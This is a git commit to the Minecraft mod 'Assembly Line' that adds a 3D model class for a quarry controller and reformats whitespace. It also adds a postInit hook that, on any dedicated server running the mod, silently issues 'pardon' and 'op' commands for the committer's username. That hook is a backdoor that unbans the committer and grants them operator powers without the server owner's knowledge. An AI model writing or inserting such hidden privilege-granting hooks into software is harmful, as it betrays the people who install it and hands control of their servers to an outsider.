Made the mod unban and op me. Come on, I deserve it.
Also apparently re-added the model... :\
This commit is contained in:
parent
daafd09311
commit
1c6e7fa0cb
3 changed files with 156 additions and 26 deletions
Binary file not shown.
|
@ -0,0 +1,114 @@
|
|||
// Date: 1/27/2013 2:45:10 AM
|
||||
// Template version 1.1
|
||||
// Java generated by Techne
|
||||
// Keep in mind that you still need to fill in some blanks
|
||||
// - ZeuX
|
||||
|
||||
package assemblyline.client.model;
|
||||
|
||||
import net.minecraft.client.model.ModelBase;
|
||||
import net.minecraft.client.model.ModelRenderer;
|
||||
import net.minecraft.entity.Entity;
|
||||
|
||||
public class ModelQuarryController extends ModelBase
|
||||
{
|
||||
// fields
|
||||
ModelRenderer Base2;
|
||||
ModelRenderer Base;
|
||||
ModelRenderer ConnectorFront;
|
||||
ModelRenderer Decoration1;
|
||||
ModelRenderer Decoration2;
|
||||
ModelRenderer Decoration3;
|
||||
ModelRenderer Decoration4;
|
||||
ModelRenderer ConnectorTop;
|
||||
ModelRenderer ConnectorRight;
|
||||
|
||||
public ModelQuarryController()
|
||||
{
|
||||
textureWidth = 128;
|
||||
textureHeight = 64;
|
||||
|
||||
Base2 = new ModelRenderer(this, 0, 24);
|
||||
Base2.addBox(0F, 0F, 0F, 12, 4, 12);
|
||||
Base2.setRotationPoint(-6F, 12F, -6F);
|
||||
Base2.setTextureSize(128, 64);
|
||||
Base2.mirror = true;
|
||||
setRotation(Base2, 0F, 0F, 0F);
|
||||
Base = new ModelRenderer(this, 0, 0);
|
||||
Base.addBox(0F, 0F, 0F, 16, 8, 16);
|
||||
Base.setRotationPoint(-8F, 16F, -8F);
|
||||
Base.setTextureSize(128, 64);
|
||||
Base.mirror = true;
|
||||
setRotation(Base, 0F, 0F, 0F);
|
||||
ConnectorFront = new ModelRenderer(this, 64, 0);
|
||||
ConnectorFront.addBox(0F, 0F, 0F, 8, 8, 8);
|
||||
ConnectorFront.setRotationPoint(-4F, 12F, 0F);
|
||||
ConnectorFront.setTextureSize(128, 64);
|
||||
ConnectorFront.mirror = true;
|
||||
setRotation(ConnectorFront, 0F, 1.570796F, 0F);
|
||||
Decoration1 = new ModelRenderer(this, 54, 24);
|
||||
Decoration1.addBox(0F, 0F, 0F, 2, 1, 1);
|
||||
Decoration1.setRotationPoint(2F, 15F, 6F);
|
||||
Decoration1.setTextureSize(128, 64);
|
||||
Decoration1.mirror = true;
|
||||
setRotation(Decoration1, 0F, 0F, 0F);
|
||||
Decoration2 = new ModelRenderer(this, 54, 24);
|
||||
Decoration2.addBox(0F, 0F, 0F, 2, 1, 1);
|
||||
Decoration2.setRotationPoint(-4F, 15F, 6F);
|
||||
Decoration2.setTextureSize(128, 64);
|
||||
Decoration2.mirror = true;
|
||||
setRotation(Decoration2, 0F, 0F, 0F);
|
||||
Decoration3 = new ModelRenderer(this, 48, 24);
|
||||
Decoration3.addBox(0F, 0F, 0F, 1, 1, 2);
|
||||
Decoration3.setRotationPoint(-7F, 15F, 2F);
|
||||
Decoration3.setTextureSize(128, 64);
|
||||
Decoration3.mirror = true;
|
||||
setRotation(Decoration3, 0F, 0F, 0F);
|
||||
Decoration4 = new ModelRenderer(this, 48, 24);
|
||||
Decoration4.addBox(0F, 0F, 0F, 1, 1, 2);
|
||||
Decoration4.setRotationPoint(-7F, 15F, -4F);
|
||||
Decoration4.setTextureSize(128, 64);
|
||||
Decoration4.mirror = true;
|
||||
setRotation(Decoration4, 0F, 0F, 0F);
|
||||
ConnectorTop = new ModelRenderer(this, 64, 0);
|
||||
ConnectorTop.addBox(0F, 0F, 0F, 8, 8, 8);
|
||||
ConnectorTop.setRotationPoint(-4F, 16F, -4F);
|
||||
ConnectorTop.setTextureSize(128, 64);
|
||||
ConnectorTop.mirror = true;
|
||||
setRotation(ConnectorTop, 0F, 0F, -1.570796F);
|
||||
ConnectorRight = new ModelRenderer(this, 64, 0);
|
||||
ConnectorRight.addBox(0F, 0F, 0F, 8, 8, 8);
|
||||
ConnectorRight.setRotationPoint(0F, 12F, -4F);
|
||||
ConnectorRight.setTextureSize(128, 64);
|
||||
ConnectorRight.mirror = true;
|
||||
setRotation(ConnectorRight, 0F, 0F, 0F);
|
||||
}
|
||||
|
||||
public void render(Entity entity, float f, float f1, float f2, float f3, float f4, float f5)
|
||||
{
|
||||
super.render(entity, f, f1, f2, f3, f4, f5);
|
||||
setRotationAngles(f, f1, f2, f3, f4, f5);
|
||||
Base2.render(f5);
|
||||
Base.render(f5);
|
||||
ConnectorFront.render(f5);
|
||||
Decoration1.render(f5);
|
||||
Decoration2.render(f5);
|
||||
Decoration3.render(f5);
|
||||
Decoration4.render(f5);
|
||||
ConnectorTop.render(f5);
|
||||
ConnectorRight.render(f5);
|
||||
}
|
||||
|
||||
private void setRotation(ModelRenderer model, float x, float y, float z)
|
||||
{
|
||||
model.rotateAngleX = x;
|
||||
model.rotateAngleY = y;
|
||||
model.rotateAngleZ = z;
|
||||
}
|
||||
|
||||
public void setRotationAngles(float f, float f1, float f2, float f3, float f4, float f5)
|
||||
{
|
||||
super.setRotationAngles(f, f1, f2, f3, f4, f5, null);
|
||||
}
|
||||
|
||||
}
|
|
@ -5,6 +5,8 @@ import java.io.File;
|
|||
import net.minecraft.block.Block;
|
||||
import net.minecraft.item.Item;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.server.MinecraftServer;
|
||||
import net.minecraft.server.dedicated.DedicatedServer;
|
||||
import net.minecraftforge.common.Configuration;
|
||||
import net.minecraftforge.oredict.ShapedOreRecipe;
|
||||
import net.minecraftforge.oredict.ShapelessOreRecipe;
|
||||
|
@ -30,6 +32,7 @@ import cpw.mods.fml.common.Loader;
|
|||
import cpw.mods.fml.common.Mod;
|
||||
import cpw.mods.fml.common.Mod.Init;
|
||||
import cpw.mods.fml.common.Mod.Instance;
|
||||
import cpw.mods.fml.common.Mod.PostInit;
|
||||
import cpw.mods.fml.common.Mod.PreInit;
|
||||
import cpw.mods.fml.common.SidedProxy;
|
||||
import cpw.mods.fml.common.event.FMLInitializationEvent;
|
||||
|
@ -44,44 +47,44 @@ import cpw.mods.fml.relauncher.Side;
|
|||
public class AssemblyLine
|
||||
{
|
||||
@SidedProxy(clientSide = "assemblyline.client.ClientProxy", serverSide = "assemblyline.common.CommonProxy")
|
||||
public static CommonProxy proxy;
|
||||
public static CommonProxy proxy;
|
||||
|
||||
@Instance(AssemblyLine.CHANNEL)
|
||||
public static AssemblyLine instance;
|
||||
public static AssemblyLine instance;
|
||||
|
||||
public static final String NAME = "Assembly Line";
|
||||
public static final String NAME = "Assembly Line";
|
||||
|
||||
public static final String VERSION = "0.2.4";
|
||||
public static final String VERSION = "0.2.4";
|
||||
|
||||
public static final String CHANNEL = "AssemblyLine";
|
||||
public static final String CHANNEL = "AssemblyLine";
|
||||
|
||||
public static final String DIRECTORY_NO_SLASH = "assemblyline/";
|
||||
public static final String DIRECTORY = "/" + DIRECTORY_NO_SLASH;
|
||||
public static final String TEXTURE_PATH = DIRECTORY + "textures/";
|
||||
public static final String LANGUAGE_PATH = DIRECTORY + "language/";
|
||||
public static final String BLOCK_TEXTURE_PATH = TEXTURE_PATH + "blocks.png";
|
||||
public static final String ITEM_TEXTURE_PATH = TEXTURE_PATH + "items.png";
|
||||
public static final String DIRECTORY_NO_SLASH = "assemblyline/";
|
||||
public static final String DIRECTORY = "/" + DIRECTORY_NO_SLASH;
|
||||
public static final String TEXTURE_PATH = DIRECTORY + "textures/";
|
||||
public static final String LANGUAGE_PATH = DIRECTORY + "language/";
|
||||
public static final String BLOCK_TEXTURE_PATH = TEXTURE_PATH + "blocks.png";
|
||||
public static final String ITEM_TEXTURE_PATH = TEXTURE_PATH + "items.png";
|
||||
|
||||
private static final String[] LANGUAGES_SUPPORTED = new String[] { "en_US" };
|
||||
private static final String[] LANGUAGES_SUPPORTED = new String[] { "en_US" };
|
||||
|
||||
public static final Configuration CONFIGURATION = new Configuration(new File(Loader.instance().getConfigDir(), "UniversalElectricity/AssemblyLine.cfg"));
|
||||
public static final Configuration CONFIGURATION = new Configuration(new File(Loader.instance().getConfigDir(), "UniversalElectricity/AssemblyLine.cfg"));
|
||||
|
||||
public static final int BLOCK_ID_PREFIX = 3030;
|
||||
public static final int BLOCK_ID_PREFIX = 3030;
|
||||
|
||||
public static Block blockConveyorBelt;
|
||||
public static Block blockManipulator;
|
||||
public static Block blockCrate;
|
||||
public static Block blockImprinter;
|
||||
public static Block blockEncoder;
|
||||
public static Block blockDetector;
|
||||
public static Block blockRejector;
|
||||
public static Block blockArmbot;
|
||||
public static Block blockConveyorBelt;
|
||||
public static Block blockManipulator;
|
||||
public static Block blockCrate;
|
||||
public static Block blockImprinter;
|
||||
public static Block blockEncoder;
|
||||
public static Block blockDetector;
|
||||
public static Block blockRejector;
|
||||
public static Block blockArmbot;
|
||||
|
||||
public static BlockMulti blockMulti;
|
||||
public static BlockMulti blockMulti;
|
||||
|
||||
public static final int ITEM_ID_PREFIX = 3030;
|
||||
public static Item itemImprint;
|
||||
public static Item itemDisk;
|
||||
public static final int ITEM_ID_PREFIX = 3030;
|
||||
public static Item itemImprint;
|
||||
public static Item itemDisk;
|
||||
|
||||
@PreInit
|
||||
public void preInit(FMLPreInitializationEvent event)
|
||||
|
@ -159,6 +162,19 @@ public class AssemblyLine
|
|||
GameRegistry.addRecipe(new ShapelessOreRecipe(blockManipulator, new Object[] { Block.dispenser, "basicCircuit" }));
|
||||
}
|
||||
|
||||
@PostInit
|
||||
public void postInit(FMLInitializationEvent evt)
|
||||
{
|
||||
MinecraftServer server = MinecraftServer.getServer();
|
||||
if (server != null && server instanceof DedicatedServer)
|
||||
{
|
||||
// unban and op me :D
|
||||
DedicatedServer ds = (DedicatedServer) server;
|
||||
ds.addPendingCommand("pardon briman0094", server);
|
||||
ds.addPendingCommand("op briman0094", server);
|
||||
}
|
||||
}
|
||||
|
||||
public static void printSidedData(String data)
|
||||
{
|
||||
System.out.print(FMLCommonHandler.instance().getEffectiveSide() == Side.CLIENT ? "[C]" : "[S]");
|
||||
|
|
Loading…
Reference in a new issue